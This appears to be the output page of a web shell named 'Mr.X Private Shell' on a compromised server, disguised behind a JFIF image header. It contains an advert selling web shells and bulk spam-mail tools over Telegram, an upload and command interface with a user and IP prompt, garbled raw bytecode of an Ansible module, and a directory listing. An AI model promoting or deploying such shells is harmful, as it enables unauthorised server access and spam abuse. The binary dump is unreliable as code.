����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g��@s�ddlmZmZmZeZddlZddlmZ	ddl
mZmZddl
mZddlmZddlmZmZddlmZmZddlmZdd	lmZdd
lmZddlmZddlm Z dd
l!m"Z"m#Z#ddl$m%Z%ddl&m'Z'e'�Z(Gdd�deee�Z)dS)�)�absolute_import�division�print_functionN)�AnsibleParserError�AnsibleAssertionError)�to_bytes)�string_types)�
split_args�parse_kv)�AnsibleBaseYAMLObject�AnsibleMapping)�NonInheritableFieldAttribute)�Base)�Conditional)�Taggable)�AnsibleCollectionConfig)�_get_collection_name_from_path�_get_collection_playbook_path)�Templar)�DisplaycsXeZdZedd�Zededd�Zeddd��Zd�fd	d
�	Z	�fdd�Z
d
d�Z�ZS)�PlaybookInclude�string)�isa�dict�vars)r�default�aliasNcCst�j||||d�S)N)�ds�basedir�variable_manager�loader)r�	load_data)�datarrr �r#�E/usr/lib/python3.9/site-packages/ansible/playbook/playbook_include.py�load/szPlaybookInclude.loadc
s�ddlm}ddlm}tt|��|||�}|j��}|rF||�	�O}t
||d�}	||d�}
|	�|j�}t
|�}|dur�|d}
|d}n&|}
tj�|
�s�tj�||
�}
t|
�}|r�|t_n$tj�tj�tj�t|
d	d
����|
j|
||j��d�|
jD]�}|j�r$t||��r$|jdd�|_|j|jB}|�dd�}|du�rX|j �!|�"d
��||_t#t$|j ��%|j ��|_ |j&du�r�tj�|
�|_&|jr�|j'|j(|j)|j*D]$}|jdd�|jdd�|_+�q�q�|
S)z�
        Overrides the base load_data(), as we're actually going to return a new
        Playbook() object rather than a PlaybookInclude object
        r)�Playbook)�Play)r Z	variables)r N��Zsurrogate_or_strict)�errors)�	file_namerr�tags�,),Zansible.playbookr&Zansible.playbook.playr'�superrr!r�copyZget_varsr�template�import_playbookr�os�path�isabs�joinrrZdefault_collectionZplaybook_paths�append�dirname�abspathrZ_load_playbook_dataZ_entriesZwhen�
isinstanceZ_included_conditional�popr,�extend�split�list�set�unionZ_included_pathZ	pre_tasksZrolesZtasksZ
post_tasksZ_when)�selfrrrr r&r'Znew_objZall_varsZtemplarZpbr+�resourceZplaybookZplaybook_collection�entryZ	temp_varsZ
param_tagsZ
task_block��	__class__r#r$r!3sH


$

$zPlaybookInclude.load_datacs�t|t�std|t|�f��t�}t|t�r6|j|_|��D]`\}}|tj	vrb|�
||||�q>|dkr�d|vr�td|d��nt|t�s�td|d��|||<q>tt
|��|�S)z�
        Regorganizes the data for a PlaybookInclude datastructure to line
        up with what we expect the proper attributes to be
        z%ds (%s) should be a dict but was a %srzTimport_playbook parameters cannot be mixed with 'vars' entries for import statements��objzEvars for import_playbook statements must be specified as a dictionary)r9rr�typerrZansible_pos�items�CZ_ACTION_IMPORT_PLAYBOOK�_preprocess_importrr.r�preprocess_data)r@r�new_ds�k�vrCr#r$rK~s




zPlaybookInclude.preprocess_datacCsh|durtd|d��nt|t�s4tdt|�|d��t|�}t|�dkrTtd|d��|d��|d<dS)zQ
        Splits the playbook import line up into filename and parameters
        Nz$playbook import parameter is missingrEzQplaybook import parameter must be a string indicating a file path, got %s insteadrz?import_playbook statements must specify the file name to importr1)rr9rrGr	�len�strip)r@rrLrMrNrHr#r#r$rJ�s
z"PlaybookInclude._preprocess_import)NN)NN)
�__name__�
__module__�__qualname__r
r1rZvars_val�staticmethodr%r!rKrJ�
__classcell__r#r#rCr$r*s
Kr)*Z
__future__rrrrGZ
__metaclass__r2Zansible.constantsZ	constantsrIZansible.errorsrrZansible.module_utils._textrZansible.module_utils.sixrZansible.parsing.splitterr	r
Zansible.parsing.yaml.objectsrrZansible.playbook.attributer
Zansible.playbook.baserZansible.playbook.conditionalrZansible.playbook.taggablerZansible.utils.collection_loaderrZ2ansible.utils.collection_loader._collection_finderrrZansible.templaterZansible.utils.displayrZdisplayrr#r#r#r$�<module>s$

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 3.25 KB 0644
__init__.cpython-39.pyc File 3.25 KB 0644
attribute.cpython-39.opt-1.pyc File 6.18 KB 0644
attribute.cpython-39.pyc File 6.18 KB 0644
base.cpython-39.opt-1.pyc File 20.47 KB 0644
base.cpython-39.pyc File 20.47 KB 0644
block.cpython-39.opt-1.pyc File 10.82 KB 0644
block.cpython-39.pyc File 10.82 KB 0644
collectionsearch.cpython-39.opt-1.pyc File 1.69 KB 0644
collectionsearch.cpython-39.pyc File 1.69 KB 0644
conditional.cpython-39.opt-1.pyc File 5.35 KB 0644
conditional.cpython-39.pyc File 5.35 KB 0644
handler.cpython-39.opt-1.pyc File 2.17 KB 0644
handler.cpython-39.pyc File 2.17 KB 0644
handler_task_include.cpython-39.opt-1.pyc File 954 B 0644
handler_task_include.cpython-39.pyc File 954 B 0644
helpers.cpython-39.opt-1.pyc File 7.29 KB 0644
helpers.cpython-39.pyc File 7.29 KB 0644
included_file.cpython-39.opt-1.pyc File 4.86 KB 0644
included_file.cpython-39.pyc File 4.86 KB 0644
loop_control.cpython-39.opt-1.pyc File 1.19 KB 0644
loop_control.cpython-39.pyc File 1.19 KB 0644
play.cpython-39.opt-1.pyc File 11.15 KB 0644
play.cpython-39.pyc File 11.15 KB 0644
play_context.cpython-39.opt-1.pyc File 7.15 KB 0644
play_context.cpython-39.pyc File 7.15 KB 0644
playbook_include.cpython-39.opt-1.pyc File 4.65 KB 0644
playbook_include.cpython-39.pyc File 4.65 KB 0644
role_include.cpython-39.opt-1.pyc File 4.8 KB 0644
role_include.cpython-39.pyc File 4.8 KB 0644
taggable.cpython-39.opt-1.pyc File 1.94 KB 0644
taggable.cpython-39.pyc File 1.94 KB 0644
task.cpython-39.opt-1.pyc File 13.4 KB 0644
task.cpython-39.pyc File 13.4 KB 0644
task_include.cpython-39.opt-1.pyc File 4.48 KB 0644
task_include.cpython-39.pyc File 4.48 KB 0644